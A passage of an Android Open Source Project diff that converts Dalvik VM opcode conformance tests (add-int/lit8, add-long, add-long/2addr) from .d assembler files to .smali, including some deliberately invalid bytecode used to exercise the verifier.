-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_7.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0
-       add-int/lit8 v0, v1, 127
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_7.smali
new file mode 100644
index 0000000..cd50c4c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit8 v0, v1, 127
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_8.d
deleted file mode 100644
index 75d74b0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_8.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 2147483647
-       add-int/lit8 v0, v1, 127
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_8.smali
new file mode 100644
index 0000000..83bf900
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       add-int/lit8 v0, v1, 127
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_9.d
deleted file mode 100644
index a28afd0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_9.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_9.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 2147483647
-       add-int/lit8 v0, v1, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_9.smali
new file mode 100644
index 0000000..3a01685
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_9.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       add-int/lit8 v0, v1, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_1.d
deleted file mode 100644
index 2dc5518..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_1.java
-.class public dot.junit.opcodes.add_long.d.T_add_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       add-long v0, v3, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_1.smali
new file mode 100644
index 0000000..7641a33
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_1.java"
+.class  public Ldot/junit/opcodes/add_long/d/T_add_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       add-long v0, v3, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_2.d
deleted file mode 100644
index 83eaa73..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_2.java
-.class public dot.junit.opcodes.add_long.d.T_add_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       add-long v0, v3, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_2.smali
new file mode 100644
index 0000000..3d50caf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_2.java"
+.class  public Ldot/junit/opcodes/add_long/d/T_add_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       add-long v0, v3, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_3.d
deleted file mode 100644
index 3935188..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_3.java
-.class public dot.junit.opcodes.add_long.d.T_add_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       const v5, 12345
-       add-long v0, v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_3.smali
new file mode 100644
index 0000000..ec746d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_3.java"
+.class  public Ldot/junit/opcodes/add_long/d/T_add_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       const v5, 12345
+       add-long v0, v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_4.smali
new file mode 100644
index 0000000..32e5468
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/add_long/d/T_add_long_4;
+.super Ljava/lang/Object;
+.source "T_add_long_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 7
+
+    const p3, 0x4640e400    # 12345.0f
+
+    add-long v0, p1, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_5.d
deleted file mode 100644
index 5c57aeb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_5.java
-.class public dot.junit.opcodes.add_long.d.T_add_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       add-long v0, v2, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_5.smali
new file mode 100644
index 0000000..7e2382c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_5.java"
+.class  public Ldot/junit/opcodes/add_long/d/T_add_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       add-long v0, v2, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_6.d
deleted file mode 100644
index 03e77ee..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_6.java
-.class public dot.junit.opcodes.add_long.d.T_add_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 7
-
-       add-long v0, v3, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_6.smali
new file mode 100644
index 0000000..163c4c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_6.java"
+.class  public Ldot/junit/opcodes/add_long/d/T_add_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 7
+
+       add-long v0, v3, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_1.d
deleted file mode 100644
index ec11b7a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_2addr_1.java
-.class public dot.junit.opcodes.add_long_2addr.d.T_add_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       add-long/2addr v3, v5
-       return-wide v3
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_1.smali
new file mode 100644
index 0000000..21e8983
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       add-long/2addr v3, v5
+       return-wide v3
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_2.d
deleted file mode 100644
index 8172613..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_2addr_2.java
-.class public dot.junit.opcodes.add_long_2addr.d.T_add_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       add-long/2addr v3, v7
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_2.smali
new file mode 100644
index 0000000..f30b123
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       add-long/2addr v3, v7
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_3.d
deleted file mode 100644
index e10a72a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_2addr_3.java
-.class public dot.junit.opcodes.add_long_2addr.d.T_add_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       const v5, 12345
-       add-long/2addr v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_3.smali
new file mode 100644
index 0000000..810cb98
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       const v5, 12345
+       add-long/2addr v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_4.smali
new file mode 100644
index 0000000..ec02d86
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/add_long_2addr/d/T_add_long_2addr_4;
+.super Ljava/lang/Object;
+.source "T_add_long_2addr_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
